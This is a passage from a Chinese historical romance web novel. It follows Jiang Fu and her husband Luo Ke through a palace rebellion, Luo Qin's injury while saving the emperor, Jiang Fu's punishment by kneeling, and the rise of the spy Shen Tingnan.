两人默默盯着菜碗,片刻,为着对骆岢的贬低,对视着笑了。 骆沁缓过来以后,又为骆岢说好话。 “我哥哥从小就没什么心眼,他只喜欢看书,喜欢一些听着让人牙酸的诗,但是作为夫君来说,他这样不是还好吗?知情知趣,至少芙姐不用担心我哥突然冒出什么砍头的想法,连累家里人。” 蒋芙道:“其实你爹也连累不到你们。陛下这次来,说了一些过去的事……” 她把骆沁母亲的事叙述了一遍,见到小女孩眼神和她哥一般迷茫,随后才是说不清道不明的恨意。 “先帝太荒唐了!看来我爹也没有我想的那么坏,我以为他是坏人了,他那么好的人突然……” “他也不是突然这样的,倒是知道挑软柿子捏,没有在先帝朝谋反,选了当今陛下。不过也许是之前的时机不太成熟?我不怎么明白这些。” “我也不懂。”骆沁抬眸问,“我娘她……如今还活着吗?” 蒋芙道:“为先帝殉葬了。” 她沉默片刻:“我娘这辈子应该过得很苦吧,她一定就没有芙姐说的那种快乐。如果她能听到芙姐说的话就好了,如果她是在出嫁前被先帝喜欢就好了,她就不至于在天命难违的境况下为了我和哥哥伤心,也不至于被世俗的伦理拖累,累了后半生。” 蒋芙望着她的眼神愈发柔软,抬手摸摸她的脸颊。 还是女儿懂得心疼母亲,男人就算再明事理,头一个想到的还是同为男人的父亲的处境。 骆沁被她触碰,回过神,紧张兮兮地问:“芙姐,我哭丑了吗?我是不是没有之前好看了?” 蒋芙道:“才没有呢,你现在美得像出水芙蓉一样。” 骆沁不自觉笑:“那我和芙姐都是小荷了。” “我怎能与沁儿相比?” “什么话,芙姐明明很美啊!我就喜欢芙姐!”她快速扒了几口粥进胃,到衣橱前翻找自己的衣裳。 “我打算进宫去引诱天子,芙姐,你说我用不用把领口松得低些?” 蒋芙吓了一跳:“你要干什么?” 骆沁道:“我要为我爹求情,芙姐,这个鹅黄如何?” 蒋芙奔过去着急道:“我不是这个意思,沁儿,我的意思是你可以去拜拜神佛,你不要牺牲自己去……” 骆沁安抚朝她笑:“不算牺牲呀,我本来就喜欢他嘛。我是爹的女儿,总要为爹做点事,求神佛太慢了,神佛从不管我家的事,我不如去求他。” “你放心,芙姐,我会快乐的。” “……” 蒋芙眼睁睁看着骆沁坐上马车。 她甚至掀开车帘,对她远远地挥手,直到消失在拐角尽头。 她一意孤行,要为父亲做事,她没有资格拦。 骆沁的想法本来就是对的,想要父亲的命,最后只能走到那一步。她也确实喜欢过天子,天子又念着沁儿母亲的旧情,不会对她不好,这样是个两全其美的办法。 可是她为什么会觉得难过? 蒋芙回到房间,将浅眠的骆岢摇醒。 这人没有脾气,醒了便醒,抱怨也无,纸片沾水般粘到蒋芙身上。 “芙芙?” 蒋芙不敢看他眼睛:“我刚刚去看你妹妹,劝她不要伤心,不如做点力所能及的事,她就去宫里求天子了,是……有使美人计的心思。” 骆岢愣了一下:“你放她走了?” 蒋芙弯身抱他:“对不起,你生气就骂我吧,我虽然说话的时候没想到那,但冷静下来觉得沁儿那么做是对的。这种时候,也只有她出头才能保住你们一家子的命,她也是想要父亲活,我也想要咱们能安安稳稳的活。我……没法拦她……” “她才多大……” 蒋芙简直没脸见他了:“对不起……” 她从他身上撑起身:“你现在能动吗?要不你穿衣服追上去吧!你去天子肯定就不好意思了!我怎么这么坏!要是我长得美我就自己上了,你不要讨厌我!” “我怎会讨厌你。”骆岢握她的手,闭上眼,“别追了,我们没有路,沁儿也没有。即便是母亲的面子,也抵不过朝令夕改的帝王之心。谁又有错呢……” 他道:“沁儿真的长大了,我与父亲一辈子都欠她的。” “还有我……” 蒋芙反握骆岢的手,“我如今是沁儿的嫂子,我也欠她的。” 骆岢道:“是我欠你,你过得好好的,是我将你拉进祸事里。” 一夜没睡,蒋芙虽然精力不振,却也没有休息的心思。她想了想,还是动身去找张闵。 他带她去过一次金吾卫府,并不难找。 拒绝人的时候那么干脆,如今才过多久,有求于人还是上赶着来了。 蒋芙有点丢脸,但想到骆沁,又认为可以忍受。她们都在努力救这个家,想活命有什么丢脸的? 她站在门口说找张闵,侍卫们便像认识她一样放她进去,引到一处房屋前。 “娘子,请。” 蒋芙掀开厚重的门帘,进到里屋,瞧见穿着官服的他。 实在是稀奇的打扮,她过去从未将他与官府联系到一起,仿佛他天生就是闯荡江湖的侠客,来去自由。 “打扰你了。” 他没有抬头:“我听见是你,不算打扰。” 蒋芙心情复杂着,听到他后话:“白明旭说你会来找我,为骆岢求情,你真的来了。” 第56章 第 56 章 一爱难求。 又是白明旭, 怎么哪都有他?看热闹不嫌事大,她讨厌他! 蒋芙没将被冒犯的不悦表现出来,朝张闵行礼:“念在我们这么多年的交情,或者看在我娘的面子上, 如果有天陛下要对骆氏下手, 你能不能救骆岢与骆沁一命?” 张闵问:“你呢?不救吗?” 蒋芙狼狈垂下视线:“我以为我的命你会救。没关系, 是我太不要脸了。真有那么一天, 你救他们就行, 不用管我……” 张闵走到她身前,低头:“我现在是金吾卫中郎将。” 蒋芙于是闷不做声又行了大礼:“拜见中郎将大人。” 张闵:“……” “只有这样吗?” 蒋芙错愕抬头:“你想让我给你跪下?你离开我身边才多少天, 怎么变成这样?你还是张闵吗?” 张闵将她抱进怀里,很突然的动作,用的力气也不小。蒋芙懵了一瞬,才想起要挣扎:“你干什么?” “我师父说,因为我什么都不是,所以你选骆岢不要我。如今我做了官,也还不够吗?” 蒋芙推搡的动作停下来,闭眼深呼吸:“你师父真不是什么好东西。” 她不是不想念张闵,分开后将人从头到脚打量了一遍。 “是不是瘦了?” “……你瘦了。” 蒋芙道:“还好。” 她郑重道:“别听你师父忽悠, 我不是因为权势地位选骆岢的, 非要说个原因, 也是他的相貌品行。我让你离开我身边,是希望你能找到自己想做的事, 而不是继续没有主体,成为另一人驱使的刀剑。你现在听懂没有?” 等张闵似懂非懂点头,蒋芙才转回自己的来意:“真有那么一天,你能不能保住他们?保住一条命就可以, 你求求你师父,能做到吗?” 张闵淡声道:“我自己也可以。” 他道:“救你们,不需要求他,我自己也可以带你们逃走。” 蒋芙苦笑:“可你死了怎么办?你一个人带我们三个累赘,哪里逃得过追兵呢?要是害死你才能活命,我宁愿自己去死……” 说着话的功夫,外面传来一阵骚乱。 “将军!上将军有令,让你速带五千精兵进宫护驾,文王谋逆!” 蒋芙:“……?” 张闵拿起墙上挂的剑与披甲,问:“你讨厌他,我还去吗?” 仿佛只要她说不去,他就决定不去一样。 “去。”军令在上,他如今又是官身,不听上司号令有什么好果子吃? “但你不要拼命,不许受伤!” 张闵颔首,拍了下她的头顶快步出门。 蒋芙没敢轻举妄动,目送张闵上马往兵场的方向疾驰,听院中的文官分析时局。 原来洛郡那边谋反后,文王就召集了一批他手下的暗卫逼宫,试图在长安兵力薄弱之时推倒魏琪上位。 他什么时候有这种野心? 蒋芙不可避免想到沈听南,她如今怎样了,她参与进这件事了吗? 说实在,她心里也想,如果这时候文王成功杀死魏琪夺位,以他那身板估计当不了几天皇帝,极有可能被骆岢爹熬死。 文王死后,洛城自然而然就变回了洛阳。天下似乎也没什么不可以改姓的,北境与淮南的两位王爷都是闲散之人……不,说不定他们和文王一样也是装的,真到瓜分皇位那天,就摇身一变,化成窥伺猎物的狼,等待时机一哄而上。 蒋芙在屋子里站了一会儿,也没人进来查看情况,于是主动走出去问:“外面乱吗?我现在能回家了吗?” 留守的侍卫没想到她还在,听她问话忙道:“我送娘子回去!” 金吾卫府没有她坐的马车,她本也是走路来的,跟在侍卫身后匆匆往家的方向走。 骆府门口堵着不认识的马车,蒋芙心里一跳,与侍卫仓促道别回去问情况。 管家说是宫里来的人,骆沁为救魏琪受了箭伤,情况不好,陛下派人来接骆岢进宫。骆岢听到这事就晕了过去,府里的大夫正给他施针救治,宫里的人还在外面等着。 “那文王……” “说是逃了,陛下亲兵正在追捕。” “……”好乱。 蒋芙呆呆伫立在原地不知做什么,直到听侍女们惊呼“公子醒了”,她才像也醒了一般,迈步进了屋子。 骆岢在小厮的侍奉下面色惨白穿衣,蒋芙从小厮手里接过衣带,给他紧紧系在腰间。 “撑住,我在。” 骆岢已经笑不出来,他神情忧郁:“我多希望,是我给你说这句话。” 蒋芙牵他手:“夫妻两个,分什么你我?谁规定郎君不能依赖小娘子的?” 他们坐上了进宫的马车。 蒋芙将骆岢抱在怀里,他也乖顺依偎她的肩膀,这样抱着体型虽有差距,但并不费力。 她一下一下摸他侧脸:“别怕,沁儿一定没事。还没见到人,别随便想些不好的事。” 路程不长,很快到宫门口,马车短暂停歇,驾车的内侍拿腰牌验证身份 ,守卫放他们进去。 殿中骆沁昏睡着,是疼晕了。 骆岢看着床上失去意识、嘴唇没有血色的妹妹,抿着嘴潸然泪下。 白明旭向魏琪汇报完战况,急匆匆从书房出来,进到屋子里看了眼骆沁,安慰地拍了拍骆岢肩膀。 “无事,有人比你还心痛,从此你可安心了。” 骆岢避开他手,头也别向一边。 白明旭诧异时,蒋芙“呸”了他一声:“起开!别碰他!哪显得你来当好人!” 他摆出一副受伤的表情:“做什么,蒋娘子,我什么时候是坏人了?” 蒋芙想了想,他确实没做什么坏事,算不上坏人。 “你不讲义气,你说呢?” 和小孩吵架似的,说什么义气。白明旭勾起嘴角,但不得不承认,他被伤到了。 他与骆岢从小一起长大啊,就那么把他和他妹妹算计进他的复仇与前程里了。可不就是不讲义气? 他也是,都做出背信弃义的事了,还来这里装什么好人。 白明旭无言离开。 蒋芙拍拍骆岢,哄道:“不气不气,我把他赶走了。你还讨厌谁?我帮你都骂了。” 骆岢闭眼,泪水顺着他的轮廓流下。 “芙芙,把我也一并骂了吧。” “你我自有骂的时候,这几天先攒着,你再想想别的人。” 骆沁一直到晚上都没有醒,身体发热折磨得她直哭,但魏琪没有来看一眼。 蒋芙肺快气炸了,沁儿是为了谁? 她揣了一肚子气去找魏琪理论,得到人通报后怒气冲冲到殿门口——她动作极轻敲了敲门。 “陛下。” 魏琪从沙盘上抬眼,有些不愿意搭理她,但看在骆沁的面子上不得不见,毕竟是她嫂子。 “平身吧。” 蒋芙直截了当:“陛下不去看看沁儿?” 魏琪被她提起这个,越看她越觉得像城府极深又惹人生厌的势利女子。也许就是她的挑拨,让骆沁去做勾引他、以性命开玩笑的蠢事。 “怎么,我看不看她也关你的事?”他冷冷道,“骆沁今天救了我的命,这是可以赐无字圣旨的功劳,天下人看着,无论骆呈夜如何,我都不会动你们家一根手指,你大可放心了!” 蒋芙气得不行,脸被人扇耳光时都没这么火辣辣的。 她忍了又忍,没跟这人吵起来。 只道:“沁儿醒了不见你,还能不能继续喜欢你,陛下好好想想罢!她可是豁出命救你的,她挡在你身前时没想过能活下去,你非要那么揣测她的居心,想来也没动什么真情!陛下不必再苦恼,我会劝沁儿死心,反正你也让我们放心了!” 蒋芙转身离开,被魏琪喊人堵了门。 天子这才将别扭展开,露出些少年人的焦急:“你别跟她胡说!小心你的脑袋!” 蒋芙瞪人:“我早看出你喜欢沁儿了,你端什么?以为你是天子,别人就非你不可?以沁儿的美貌,想要什么男人没有?” “你只有权力,所以你认为身边的人接触你都是不怀好意,都是觊觎你的皇位!可有人是把你当作人喜欢的,你不珍惜,你用你的恶意揣测她,践踏她的感情!连她想救你的命,你都怀疑是她的算计,你……” 蒋芙在魏琪眼中看到了杀意,有一瞬后悔自己说这些,但想到沁儿受伤的样子,微弱的呼吸,她就觉得自己说这些是天经地义的。 她当骂他的! 反正,左不过的贱命一条! 沁儿还小,她还有一辈子要活,怎么能糟蹋在一个不懂她心的人手里! 她闷气跪到地上,等候发落。 等了许久,听到天子叹息。 许多事他也有苦衷,他也想和心爱的女孩厮守在一起,想坦然像寻常男子待她。 但他是皇帝,他一旦松懈,就会有很多手朝他伸过来。到那时,他连想保护一个人的力量都没有。 刚登基时,就是那样。他亲眼看着宸妃被内侍用白绫绞死,却什么都做不了。他答应过她,等他登基就将她子女带进宫见她。可他没能做到,他命令不动先帝的人。 皇帝不是天子,只是齐国的首领,只是一个凡人。他的话别人听不听,不是只要坐在那个位置上就可以的。 就算是皇帝,也要动脑给自己网罗权力,许诺给谁好处,让谁站在自己这边。 有时他在宫里很孤独。 他做皇子时相处的朋友都变了,那些不变的,则被他杀了。 作为国君,他需要绝对的服从。作为人,他需要纯粹的感情。 但怎么可能有那样的人出现?所有人接触他都自有目的,宸妃亦是,她对他好,只是想要从他嘴里听她孩子的近况。 就连亲哥,不也想杀他吗? ——沁儿。 魏琪阴沉着脸:“不要命了敢在我面前造次!滚出去!去殿前跪着,不跪满四个时辰不许喝水!” 第57章 第 57 章 爱火余烬。 蒋芙跪在延英殿前, 石阶之下。两侧是凤与龙型雕塑,有眼无珠。 她憋着气,起初后背挺得笔直,后来跪得受不住, 悄悄坐在了小腿上。可即便如此, 砖地也是冰冷坚硬的, 有寒风钻入她的膝盖, 在骨节之间隐隐作痛。 风将她的小袄吹个对穿, 不停刮她鬓角的碎发。天幕渐黑,时间好似过了许久, 但看日晷也不过半个时辰。 骆岢听闻她被罚跪,便在寒冬穿单衣,哽着一口闷气陪同。他还是有底气,清楚自己在天子心中有多少分量,以自伤来表态,试图让天子回心转意。 但蒋芙不行,这种损己利人的方式,自从娘死后便不管用了,谁能管她贱命。 骆岢最后晕倒在她身边。他一倒下, 寒风彻底将蒋芙吞没在灰蓝色的夜里。她吓得眼泪出来, 害怕他把命给折腾没了。 连着叫了几声, 叫不醒人,她哭着向四周求救。但天子没有表态, 宫人哪里敢发扬好生之德,都眼观鼻鼻观心,做这四方棺材里的摆设。 有烛光映过,将骆岢苍白的脸照出几分暖色。 一道老迈的女声严厉吩咐:“都干什么用的?骆郎晕了, 还不快送去太医署?他有什么好歹,陛下追究起来,你们想掉脑袋?” “尚宫大人!我等怎敢,是陛下发令……” “陛下惩罚蒋娘子,何曾带了骆郎?狗东西,连我的话都敢不听,想挨板子了?” “不敢不敢!” 几个小内侍立即上前,将骆岢小心翼翼搀扶起来,往太医署的方向跑。 他们穿着灰黑色的衣衫,跑离了光源便与黑暗融为一体,再看不见。 蒋芙吸了吸鼻子,将没用的眼泪擦干。这般受制于人的日子,她算是过得够够的了!骆岢若死便死吧,他死了,她就离这地方远远的。她宁愿跟别人打架打不过被打死,也不想每天都心惊胆战承担与她无关的死刑! 一只碎玉纹茶盏递到蒋芙面前。蒋芙顺着杯子看手,那手皮因着年纪松驰褶皱,手腕带了几层镯子。 见她光看着不动,茶盏的位置低了下来。端茶的老妇人与她跪在一处,她跪下,宫女很有眼色地塞了软垫,蒋芙受到了同样的待遇。 软垫垫在膝盖下面,顿时缓解了疲惫与严寒。蒋芙此前从未感受过不跪在地上是一件多么幸福的事。 李尚宫道:“娘子,这是糖酪栗子,吃些吧。” 见蒋芙惊讶望她,她慈爱道:“我听到了,陛下不是只罚你跪着不许喝水吗?那你这样垫着跪,吃些热乎的乳酪,也没有违背圣意啊。” 蒋芙接了乳酪吃,眼眶发酸。奶香味与板栗热乎乎化在一起,咽进去以后快要把胃给烫到了。 李尚宫问:“你几岁啦,小丫头?” 蒋芙道:“十五。” “看着显小,沈家的娘子也十五十六,就有大姑娘的样子。”李尚宫拿手帕擦擦她脸上的泪痕,“不过小点也好,骆郎也不大,他还没加冠呢,我算算……得再有两年。” 李尚宫自报家门:“我是骆郎母亲的奶娘,随主子进宫做事的。看见你们成亲,她在九泉之下应也瞑目了。是叫小芙吧?宫里的事,陛下是不是和郎君说了?他那次自缢,可吓坏我了。你以后当家,得看着他点,不要再出什么事了,再有这么一遭,我就活不下去了……” 她说着,给蒋芙围了一层毛茸茸的斗篷,围得严严实实,只剩捧着杯盏的手露在外面。 蒋芙把乳酪吃净,腼腆地将杯盏递还回去。 李尚宫问:“还想不想吃了?” 蒋芙摇头:“不用了,谢谢大人。” 李尚宫笑开:“你应把我当奴才看的,尊敬我些,当成长辈也可以。” “自然是长辈。”她是骆岢母亲的奶娘,如今又有身份,巴结点叫人祖母都挑不出错。当然,她不能替骆岢认祖母。 蒋芙道:“阿婆。” 李尚宫喜欢乖巧本分的女孩,见她临危而不攀附,心中好感更多几分。 “哎。”她答应了一声,问了问身边人时辰。 “还有好些时候才过了这罚,一人难免孤苦,我这老婆子在这陪你说说话吧。” 李尚宫问:“你是怎么认识阿岚的?” 蒋芙疑惑:“阿岚?” 李尚宫笑着在地上写笔画:“是郎君的字,岚,从出生时就定好的。山可,山风。岢岚乃齐国故土,如今是氐族人的领地。当年,阿郎是想和白郎一起去前线把岢岚收回来的,可惜……白郎被崔贼封在前线,断粮断水,硬生生战死了,他们再没机会打去岢岚。” “白郎死后,崔贼猖獗,阿郎再没管过国事。但心中也是郁郁不平的,之后有了小沁。”她的神情从回忆的温和渐渐转为冷漠,“那人不顾金玉意愿,强行将人掳走,致使母女分离十二年,死前都没见到最后一面,却也有脸让金玉与他同葬。” 蒋芙想,这位“金玉”大约是骆岢的母亲。 她琢磨了下骆沁的名字。 水心。 是母亲生离的泪。 蒋芙自己的名字就没有那么沉重,她娘觉得她刚出生的时候肤色像芙蕖一般,就叫她芙芙了。芙音同“福”,希望她能做个有福之人。 “阿郎造反,就算是天子也挑不出什么错。往后胜败由天,谁输了都牵连不到阿岚,你也透透口风给小沁,别让她太忧虑了。” “好。” “你和阿岚怎么认识的?” 话又转回她与骆岢身上。蒋芙没有撒谎,将两人的事从头到尾说了一遍。 “我爹当年为图财权,想将我嫁给金无尽做妾,那人年近五旬,家中有几个儿子,妾室一房房的娶,一房房的死,我娘为了对抗我爹,撞墙自尽,试图让他打消念头,用孝期缓一缓。可是我爹那人没有良心,他将我娘的死瞒下了,连葬礼都不给,匆匆埋到后院。” 蒋芙道:“我恨极了他,想办法整他。恰好那时,无双公子的名声很大,我若是上赶着倒贴,让人知道我属意公子,却要被父亲与金无尽联手绑走做老男人的妾室,金无尽再怎么不要脸,也不一定敢娶……” 她如今才想,有什么不敢娶的呢?如果金无尽真的是好这个色,他哪里还会管名声,娶回家来不过闲言闲语,谁在意蒋芙的死活? 她只是运气好,金无尽另有原因,不愿闹大了事情惹人瞩目。 李尚宫道:“这招惊险,若没有与阿岚的缘分,怕要坏事。” 蒋芙想:“是啊,缘分。后来金无尽想除掉我,该有郡公的意思,他们是一伙的。他杀了我爹,栽赃给我,我就自然被从郡公府里赶出来,离他的儿女远远的了,大概是这样的。” “你在郡公府里待过?” “嗯,骆岢调查了我的难处,发扬他的恻隐之心救我,让我给沁儿做伴读。师父是……叶登风夫子。” 李尚宫了然,这人是她送去骆沁身边教书的。 “后来我被下狱,也是沁儿主张救我,骆岢亦有出力。他那时,还怕我因为他救命之恩爱上他呢。” “之后,我被白明旭委托去金府查案,骆岢也去了,他男扮女装,无比美貌,我们朝夕相处,我大概看出自己有些误会他,但是不想承认。后来慢慢就在一起了。” 李尚宫道:“为何你会愿去金府查案呢?你不像有身手的样子。” 蒋芙苦笑:“我想为我娘报仇啊。我娘死了,因为他们那些事,可能在他们看来,我娘的命实在无关紧要,但那是我娘。” “好孩子,真有风骨。怪不得阿岚偏偏喜欢你,我听说了,你走过一段时间,是被沁儿求回来的。” 蒋芙不想和长辈说那些少儿不宜的桥段,不太合适。 “阿岚是真的喜欢你。女人这辈子,能遇到真心喜爱自己的人,便是人间幸事。金玉她容姿倾国,与骆呈夜婚后感情极好,但她被带走的那些年里,骆呈夜只当她死了,明明知道她被困在宫里,却连句话都没有。到最后,金玉也看清了他,还活在世上是为那双儿女。” “宫中那位更是,说喜爱金玉,不过贪恋她的容颜,占在身边亦没多少真情。这些年来只要好颜色,男人他都用过。不过也是因为如此,他子嗣纤薄,这是他的报应。最可恨的是他连死都要带走金玉,明明马上就要熬出头了,她还问我,沁儿喜欢什么样的发簪,她听说过阿岚钟爱兰花,在院子里种了一片,亲自浇养,马上就要熬出头,她却被活活勒死了!没人救她!” 蒋芙沉默,为这名叫李金玉的女子感到悲哀。 “你与阿岚,一定要好好的,不要辜负了他……” 李尚宫已然有了哭腔。 蒋芙承诺:“我们一定好好过日子。过不下去那天,我也不会欺负他的。” 不知不觉跪到了时辰,或许是聊天的缘故,时间不再难熬。 天子并未对李尚宫与她的交谈说过什么。他默许这一切,为当日宫中的恩惠,还吩咐骆岢带着妹妹在宫中暂住,等战乱过去再回府外,态度已然昭告天下,他打算把骆岢兄妹与洛郡公分开看待。 蒋芙回房间看骆岢,他用了药,床边是空的药碗。 她坐到他身侧,将炭盆拉近一点,摇醒他。 “骆岢,醒醒,你醒醒。” 火星悄然升空,化为灰烬消失在黑暗深处。 骆岢费力睁眼,看到蒋芙,眼中便要流泪。 蒋芙叹气:“你总是哭,我想要你抱抱我呢,我也很委屈。” “……好。”骆岢从床上坐起身,将蒋芙拉进怀里,拇指轻抚她的后颈。 “都怪我。”他深深呼吸,哀求,“你不要厌倦我。” 第58章 第 58 章 千古红颜。 蒋芙将头依靠在骆岢怀里:“倒也不至于厌倦, 就是有些累了。我之前哪管这么多事。” 她自嘲道:“我虽说在管,也稀里糊涂的,什么都没做成。到头来,还是取决于上边人的喜恶。跟过家家一样, 有人说反就反, 有人说死就死。” 骆岢瞧着她的发顶, 乌黑的发丝柔若湖光, 鬓角卷起露出她一对白软的耳廓。他用手揉了揉她的耳垂, 印在上面一吻。 他低声说:“我们不要管别人的事了。” “你已经为我吃了这么多苦,等战乱过去, 我们就离开吧。” 蒋芙不爱听他这么说。 有些事她看着都心焦,她不信他作为儿子、兄长会无动于衷。她是想要自由,但不在于一时,事情没有结果他必放不下,即使人走远了,心也牵挂在这,徒增伤愁。 何况哪里有那么绝对的自由,不论走到哪里,只要有人在, 就会被丝线捆着, 与他处相连。 她已经不会像过去一样极端做事了。遇见的人和事越多, 蒋芙的脚步越不为逃避而起,她慢了下来, 克服心中的恐惧直视那轮让她迷茫的血月。世上哪里有染血的月亮,不过是服从规则的人在用规则生存。 沈听南,白 明旭,魏琪, 利用规则成事。 她与骆岢则是被规则推着走。 骆岢默背规则,长成美名远扬的无双公子;蒋芙厌恶规则,活成世俗里的失败者。 相遇是了不起的契机,她的刺被削平,他的刺渐渐展露出来。 蒋芙不动声色接话:“你要逃走,把烂摊子甩给沁儿?” 骆岢沉默。 她玩笑道:“这就是大名鼎鼎的无双公子啊,表面光风霁月,私下亲情道义全都不顾……公子,你怕不怕我告诉外人,你原有这样一副面孔?” 蒋芙边说边戳他胸口,皮薄骨硬,清瘦病弱。她这辈子或许都没有摸到胸肌的福分了。 想到这,她又感慨起来。 她原来已经爱他爱到许给他一辈子了。 骆岢将她作乱的手握在掌心,放在唇边轻吻。 “我便是如此丑恶,蒋娘子可愿忍我受我?” “好厚的脸皮。”蒋芙往起揪了下他的脸颊,他实在是病了多日,脸上没肉给她掐。 她的笑凝固,目光在他脸上转悠。 “我在这,你怕什么?就算是死,我也陪你啊。接下来无论发生任何事,我都和你一起面对,我们一起保护沁儿,如果有那个余力,再救你爹。跟我你还要见外吗?” “我……何德何能……” 蒋芙道:“夫妻之间,谁考究你的德行与能力?我是奔着你这个人用力的。” 她拍拍胸口:“我的心在这里,要听听它的真话吗?” “它在我的身体里为你跳动呢……” 猝不及防,骆岢吻住她的唇。 他的心跳从未如此快,哪怕之前被情,欲蒙头,也不曾有过这般感觉。像是疲惫不堪时浸泡在温热的水里,热水包裹他的躯体,漫过他每一寸肌肤,将他心头晕得滚热。 “我爱你。” “好爱你。” “我爱你。” “蒋芙。” “……” “我爱你……” 不要再说了。 蒋芙脸被热意蒸熟,被他捆在怀里吻得没了力气。 “我爱你。” 别说了。 “好爱你,哪都爱你。” 别说了! “你爱我吗?芙芙,你爱我吗?” 蒋芙稍微点头,随后天旋地转,被他压在床榻上深吻。 骆岢的长发垂压在她肩窝,盛美如云,烛光下也看得出来润泽。蒋芙瞧得入迷,抬手碰了碰,青丝从指间穿过,留下轻柔蓬松的触感。 她的指头没来得及合拢,便被他指头钻扣住。他怨念着咬了下她的舌尖,朦胧湿润的眸子质问她为何不专心。 因罚跪而冰冷的身体这时彻底温暖了过来。 他们最终还是停在最后一步。 不太好,毕竟不是自己家里,在宫里做这种事不讲究。 蒋芙和骆岢都是要脸的人。 睡也睡不着,她依靠他肩膀上说自己小时候的事。 谈及过去,总也避不开沈听南与张闵。 蒋芙道:“我明日要问问别人,沈听南如何了。她若是有事,你愿意帮她说情吗?” 骆岢道:“你若想救,我便去陛下那边试试。” 她掰扯他的手指:“我有心,不过沈听南不一定需要我救。她从小就聪明,从不惹祸,说不定这次根本就没进这局。” “若是那样,再好不过。” 蒋芙道:“你知道宸妃吗?” 骆岢叹息:“此前有耳闻,先帝藏妃,轻易不在人前露面,不曾想过她是我母亲。” 她也跟着叹息:“你爹整这一出,不论胜败,红颜祸水这个名头都要安在你娘身上了。实际上女人做了什么呢,都已经那么可怜了,自己的生死尚不能做主,还要被后人埋怨。” 骆岢微微发愣,被她说垂了眸。 “是啊,她做错了什么……” 蒋芙侧身将手和腿都搭在他身上:“你不是会写诗赋?我之前听过你的诗,写得不错,之后有闲暇,你为这些美人说说话可好?” “尽力一试。” 得到肯定回复,她满意笑笑,奖励性亲亲他下巴,然后“呀”了下,脸颊贴过去刮蹭。 “有胡茬,好扎。” 说着扎,还不停用脸贴他玩。 骆岢捧她的脸,无法克制心中的怜爱,专心吻了她一会儿。 “你还会做什么?” “嗯?” “除了作诗,作画,你还会做什么?” 骆岢略微思量:“琴艺尚可。” 蒋芙想起她是听过他弹琴,琴声幽怨像哭。 “芙芙想听吗?我抚给你。” “半夜三更的,咱们小声说话就算了,还要弹琴打扰别人?” 他脸上飞过一丝羞愧,蒋芙笑着趴他怀里,叫:“阿岚?” 骆岢愣了下:“是我的字。你……” 蒋芙把李尚宫照顾她的事说了一遍,怕他伤神,用了别的话题转移。 “乳酪里面的栗子可甜,可好吃。你刚刚亲我,有没有尝到?” 骆岢轻轻抚她的侧脸:“没,芙芙下次吃,再来找我亲了尝尝,如何?” “美得你。” 聊到天明才睡下,直睡到日上三竿。 解了心结,又有爱情的滋润,骆岢恢复了他那无上容光,不论出现在哪,都有人呆愣愣盯他,痴迷得中断了手中事务。 骆沁醒来见他那副样子,有些感触地跟蒋芙说。 “哥哥像小花一样,得要芙姐养着才行,不然就半死不活地打蔫……好麻烦。” 蒋芙喂她吃药:“是麻烦,不过啊,小花养好了主人也很骄傲的。” 骆沁笑她,笑得伤口痛,脸惨白了一瞬。 蒋芙紧张地拨开她衣领看,还好伤口没裂,小心拍拍。抬眼,骆沁眼泪大滴大滴往下落。 “芙姐,你说我还能回家吗?我不想在这待着了。” “那天我进宫,他数落我不知羞。反正他没同意……芙姐,我能回家吗?” 蒋芙回忆了下魏琪的态度:“他如果这些天都不见你,应该可以。毕竟你现在是跟着哥哥住在这里的名义,那肯定也能和哥哥一起离开。” 骆沁忙道:“那我这些天都不出屋了,他见不到我,应该就把那天的事忘了。反正有我娘的事在,他不会杀哥哥的。” 蒋芙道:“他如果来见你,也不用躲,就跟他装傻,说你没那个意思,是他自己心脏误会了。” 骆沁有些窘迫:“好像不行,我当时把衣服都脱啦……” 蒋芙:“……” “沁儿!” 骆沁转头用被子蒙住自己:“我知错了,知错了芙姐,我当时脑子太乱了……” 蒋芙咬了咬手:“那,那也装!装你没那个意思。他要说什么,你就说‘陛下不是已经拒绝了?我有自知之明,再不会僭越陛下’,这种的话。” 骆沁从被子里探头:“会有用吗?” 蒋芙深思熟虑:“其实他当时对你生气,就算是爱护你的表现了。你这么美,但凡第二个男人肯定就把持不住,他没动你,还教训你,也算半个君子。你有走的意思,他大概会成全,而且往好了想,他也许也想放你走……” “……” 骆沁不太高兴。 蒋芙看出她的少女情思,有些发愁。 “你爱他,他报答不了你的。他会有很多女人,现在没有,以后也会有。他们姓魏的又荤素不忌,男的也用,他之后说不定也……男人之间最容易得病……总之,不是良配。” 骆沁又要哭。 蒋芙恨道:“都怪白明旭那个王八蛋,我早晚要抽他一顿。” “芙姐……” 文王伏诛。 同日,魏如因下狱,太妃自缢。魏琪这一代手足只剩他自己。 沈听南全身而退,无他,她本就是魏琪的细作。 这次更是手写了叛军势力名单,立下大功。据说洛郡公那头也是受了她的虚假情报而匆促起兵行叛。 她就这样以女子身份,登上齐国史书政治篇章,百年以后,列女之首。 崇德殿上,沈听南 一袭红衣,如火般刺目耀眼,从一众玄色官袍中割裂而出。 她拥有神女下凡般的美貌,配上智谋武功,全天下唯她一人荣耀功成至此,男人只有仰望的资格。 她登上了她的存兰马车,回身,似乎往蒋芙所在的城楼上瞥了一眼,似乎又只是不经意的回眸。 同样倾国倾城的美人,沈听南走出了与千古以来其他红颜迥异的一条路。 不管她如何走到今天,吃了多少苦,用过多少手段,她终究是站在最瞩目的地方,告诉其他同样出身低微的女子,还可以有这样的路可走。 “多么耀眼。” 第59章 第 59 章 一场心病。 开春, 骆沁伤势好转,与蒋芙一同去狱中探望魏如因。 大理寺狱中,魏如因的牢房是最为体面整洁的一间,附有女官随侍, 盛放时令瓜果。但与公主时的待遇相差甚远, 仍令她潦倒憋闷, 与之前形状判若两人。 骆沁忧心忡忡问她身体, 她爱答不理地回应, 将人的关心尴尬在那。 蒋芙看不过去,揽着骆沁肩膀打岔:“你和你哥到底为了什么要谋你另一个哥的反, 谁做天子,你不都是公主吗?” 她的问题过于大胆,负责记录言行的文官落笔抖了下,墨迹晕在字间。 魏如因冷笑盯她:“我自然想做亲哥的公主。” 油盐不进,蒋芙瞪她:“那你去死吧。” “放肆!以为我失势便能受你折辱?你算什么东西!无论我做了何事,我都姓魏!” “姓魏的刚死一个,你现在还觉得姓魏有用吗?” 蒋芙看到她一瞬发红的眼,心里不太好受:“殿下,是我僭越。但好歹相识多年, 我不想眼睁睁看着你找死。难道需要我这种人告诉你什么是识时务吗?” “不需要, 贱人!” 蒋芙脸色沉了下去, 搀扶骆沁从坐垫上起来,结束这场探视。 离开后, 骆沁一路情绪低落。 她攥着蒋芙的手:“小时候我在长安外祖家待着,几个表姐都不带我玩,第一个带我玩的人是公主。” 